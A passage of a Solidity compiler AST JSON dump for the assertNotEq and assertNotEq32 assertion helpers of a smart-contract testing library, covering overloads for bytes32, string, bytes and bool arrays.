Vm"}},"id":1158,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8799:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14629,"src":"8796:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (bytes32,bytes32) pure external"}},"id":1161,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8796:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1162,"nodeType":"ExpressionStatement","src":"8796:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"8723:11:1","parameters":{"id":1154,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1151,"mutability":"mutable","name":"left","nameLocation":"8743:4:1","nodeType":"VariableDeclaration","scope":1164,"src":"8735:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8735:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":1153,"mutability":"mutable","name":"right","nameLocation":"8757:5:1","nodeType":"VariableDeclaration","scope":1164,"src":"8749:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1152,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8749:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8734:29:1"},"returnParameters":{"id":1155,"nodeType":"ParameterList","parameters":[],"src":"8786:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1182,"nodeType":"FunctionDefinition","src":"8836:140:1","nodes":[],"body":{"id":1181,"nodeType":"Block","src":"8927:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1176,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1166,"src":"8952:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":1177,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1168,"src":"8958:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":1178,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1170,"src":"8965:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1173,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"8937:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1175,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8940:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14639,"src":"8937:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$_t_bytes32_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes32,bytes32,string memory) pure external"}},"id":1179,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8937:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1180,"nodeType":"ExpressionStatement","src":"8937:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"8845:11:1","parameters":{"id":1171,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1166,"mutability":"mutable","name":"left","nameLocation":"8865:4:1","nodeType":"VariableDeclaration","scope":1182,"src":"8857:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8857:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":1168,"mutability":"mutable","name":"right","nameLocation":"8879:5:1","nodeType":"VariableDeclaration","scope":1182,"src":"8871:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1167,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8871:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":1170,"mutability":"mutable","name":"err","nameLocation":"8900:3:1","nodeType":"VariableDeclaration","scope":1182,"src":"8886:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1169,"name":"string","nodeType":"ElementaryTypeName","src":"8886:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8856:48:1"},"returnParameters":{"id":1172,"nodeType":"ParameterList","parameters":[],"src":"8927:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1195,"nodeType":"FunctionDefinition","src":"8982:115:1","nodes":[],"body":{"id":1194,"nodeType":"Block","src":"9056:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1190,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1184,"src":"9078:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":1191,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1186,"src":"9084:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":1189,"name":"assertNotEq","nodeType":"Identifier","overloadedDeclarations":[954,972,987,1005,1059,1077,1131,1149,1164,1182,1226,1244,1259,1277,1294,1314,1331,1351,1368,1388,1405,1425,1442,1462,1479,1499,1516,1536],"referencedDeclaration":1164,"src":"9066:11:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (bytes32,bytes32) pure"}},"id":1192,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9066:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1193,"nodeType":"ExpressionStatement","src":"9066:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq32","nameLocation":"8991:13:1","parameters":{"id":1187,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1184,"mutability":"mutable","name":"left","nameLocation":"9013:4:1","nodeType":"VariableDeclaration","scope":1195,"src":"9005:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1183,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9005:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":1186,"mutability":"mutable","name":"right","nameLocation":"9027:5:1","nodeType":"VariableDeclaration","scope":1195,"src":"9019:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1185,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9019:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"9004:29:1"},"returnParameters":{"id":1188,"nodeType":"ParameterList","parameters":[],"src":"9056:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1211,"nodeType":"FunctionDefinition","src":"9103:139:1","nodes":[],"body":{"id":1210,"nodeType":"Block","src":"9196:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1205,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1197,"src":"9218:4:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":1206,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1199,"src":"9224:5:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":1207,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1201,"src":"9231:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":1204,"name":"assertNotEq","nodeType":"Identifier","overloadedDeclarations":[954,972,987,1005,1059,1077,1131,1149,1164,1182,1226,1244,1259,1277,1294,1314,1331,1351,1368,1388,1405,1425,1442,1462,1479,1499,1516,1536],"referencedDeclaration":1182,"src":"9206:11:1","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$_t_bytes32_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes32,bytes32,string memory) pure"}},"id":1208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9206:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1209,"nodeType":"ExpressionStatement","src":"9206:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq32","nameLocation":"9112:13:1","parameters":{"id":1202,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1197,"mutability":"mutable","name":"left","nameLocation":"9134:4:1","nodeType":"VariableDeclaration","scope":1211,"src":"9126:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1196,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9126:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":1199,"mutability":"mutable","name":"right","nameLocation":"9148:5:1","nodeType":"VariableDeclaration","scope":1211,"src":"9140:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1198,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9140:7:1","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":1201,"mutability":"mutable","name":"err","nameLocation":"9169:3:1","nodeType":"VariableDeclaration","scope":1211,"src":"9155:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1200,"name":"string","nodeType":"ElementaryTypeName","src":"9155:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9125:48:1"},"returnParameters":{"id":1203,"nodeType":"ParameterList","parameters":[],"src":"9196:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1226,"nodeType":"FunctionDefinition","src":"9248:128:1","nodes":[],"body":{"id":1225,"nodeType":"Block","src":"9332:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1221,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1213,"src":"9357:4:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":1222,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1215,"src":"9363:5:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1218,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"9342:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1220,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9345:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14385,"src":"9342:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory) pure external"}},"id":1223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9342:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1224,"nodeType":"ExpressionStatement","src":"9342:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"9257:11:1","parameters":{"id":1216,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1213,"mutability":"mutable","name":"left","nameLocation":"9283:4:1","nodeType":"VariableDeclaration","scope":1226,"src":"9269:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1212,"name":"string","nodeType":"ElementaryTypeName","src":"9269:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":1215,"mutability":"mutable","name":"right","nameLocation":"9303:5:1","nodeType":"VariableDeclaration","scope":1226,"src":"9289:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1214,"name":"string","nodeType":"ElementaryTypeName","src":"9289:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9268:41:1"},"returnParameters":{"id":1217,"nodeType":"ParameterList","parameters":[],"src":"9332:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1244,"nodeType":"FunctionDefinition","src":"9382:152:1","nodes":[],"body":{"id":1243,"nodeType":"Block","src":"9485:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1238,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1228,"src":"9510:4:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":1239,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1230,"src":"9516:5:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":1240,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1232,"src":"9523:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1235,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"9495:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9498:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14395,"src":"9495:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory,string memory) pure external"}},"id":1241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9495:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1242,"nodeType":"ExpressionStatement","src":"9495:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"9391:11:1","parameters":{"id":1233,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1228,"mutability":"mutable","name":"left","nameLocation":"9417:4:1","nodeType":"VariableDeclaration","scope":1244,"src":"9403:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1227,"name":"string","nodeType":"ElementaryTypeName","src":"9403:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":1230,"mutability":"mutable","name":"right","nameLocation":"9437:5:1","nodeType":"VariableDeclaration","scope":1244,"src":"9423:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1229,"name":"string","nodeType":"ElementaryTypeName","src":"9423:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":1232,"mutability":"mutable","name":"err","nameLocation":"9458:3:1","nodeType":"VariableDeclaration","scope":1244,"src":"9444:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1231,"name":"string","nodeType":"ElementaryTypeName","src":"9444:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9402:60:1"},"returnParameters":{"id":1234,"nodeType":"ParameterList","parameters":[],"src":"9485:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1259,"nodeType":"FunctionDefinition","src":"9540:126:1","nodes":[],"body":{"id":1258,"nodeType":"Block","src":"9622:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1254,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1246,"src":"9647:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":1255,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1248,"src":"9653:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":1251,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"9632:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1253,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9635:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14403,"src":"9632:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory) pure external"}},"id":1256,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9632:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1257,"nodeType":"ExpressionStatement","src":"9632:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"9549:11:1","parameters":{"id":1249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1246,"mutability":"mutable","name":"left","nameLocation":"9574:4:1","nodeType":"VariableDeclaration","scope":1259,"src":"9561:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1245,"name":"bytes","nodeType":"ElementaryTypeName","src":"9561:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":1248,"mutability":"mutable","name":"right","nameLocation":"9593:5:1","nodeType":"VariableDeclaration","scope":1259,"src":"9580:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1247,"name":"bytes","nodeType":"ElementaryTypeName","src":"9580:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9560:39:1"},"returnParameters":{"id":1250,"nodeType":"ParameterList","parameters":[],"src":"9622:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1277,"nodeType":"FunctionDefinition","src":"9672:150:1","nodes":[],"body":{"id":1276,"nodeType":"Block","src":"9773:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1271,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1261,"src":"9798:4:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":1272,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1263,"src":"9804:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":1273,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1265,"src":"9811:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1268,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"9783:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9786:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14413,"src":"9783:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (bytes memory,bytes memory,string memory) pure external"}},"id":1274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9783:32:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1275,"nodeType":"ExpressionStatement","src":"9783:32:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"9681:11:1","parameters":{"id":1266,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1261,"mutability":"mutable","name":"left","nameLocation":"9706:4:1","nodeType":"VariableDeclaration","scope":1277,"src":"9693:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1260,"name":"bytes","nodeType":"ElementaryTypeName","src":"9693:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":1263,"mutability":"mutable","name":"right","nameLocation":"9725:5:1","nodeType":"VariableDeclaration","scope":1277,"src":"9712:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":1262,"name":"bytes","nodeType":"ElementaryTypeName","src":"9712:5:1","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":1265,"mutability":"mutable","name":"err","nameLocation":"9746:3:1","nodeType":"VariableDeclaration","scope":1277,"src":"9732:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1264,"name":"string","nodeType":"ElementaryTypeName","src":"9732:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9692:58:1"},"returnParameters":{"id":1267,"nodeType":"ParameterList","parameters":[],"src":"9773:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1294,"nodeType":"FunctionDefinition","src":"9828:128:1","nodes":[],"body":{"id":1293,"nodeType":"Block","src":"9912:44:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1289,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1280,"src":"9937:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},{"id":1290,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1283,"src":"9943:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"},{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}],"expression":{"id":1286,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"9922:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1288,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9925:11:1","memberName":"assertNotEq","nodeType":"MemberAccess","referencedDeclaration":14423,"src":"9922:14:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_array$_t_bool_$dyn_memory_ptr_$_t_array$_t_bool_$dyn_memory_ptr_$returns$__$","typeString":"function (bool[] memory,bool[] memory) pure external"}},"id":1291,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9922:27:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1292,"nodeType":"ExpressionStatement","src":"9922:27:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"9837:11:1","parameters":{"id":1284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1280,"mutability":"mutable","name":"left","nameLocation":"9863:4:1","nodeType":"VariableDeclaration","scope":1294,"src":"9849:18:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":1278,"name":"bool","nodeType":"ElementaryTypeName","src":"9849:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":1279,"nodeType":"ArrayTypeName","src":"9849:6:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"},{"constant":false,"id":1283,"mutability":"mutable","name":"right","nameLocation":"9883:5:1","nodeType":"VariableDeclaration","scope":1294,"src":"9869:19:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":1281,"name":"bool","nodeType":"ElementaryTypeName","src":"9869:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":1282,"nodeType":"ArrayTypeName","src":"9869:6:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"9848:41:1"},"returnParameters":{"id":1285,"nodeType":"ParameterList","parameters":[],"src":"9912:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1314,"nodeType":"FunctionDefinition","src":"9962:152:1","nodes":[],"body":{"id":1313,"nodeType":"Block","src":"10065:49:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1308,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1297,"src":"10090:4:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},{"id":1309,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1300,"src":"10096:5:1","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"}},{"id":1310,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1302,"src":"10103:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"},{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[] memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1305,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"10075:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract 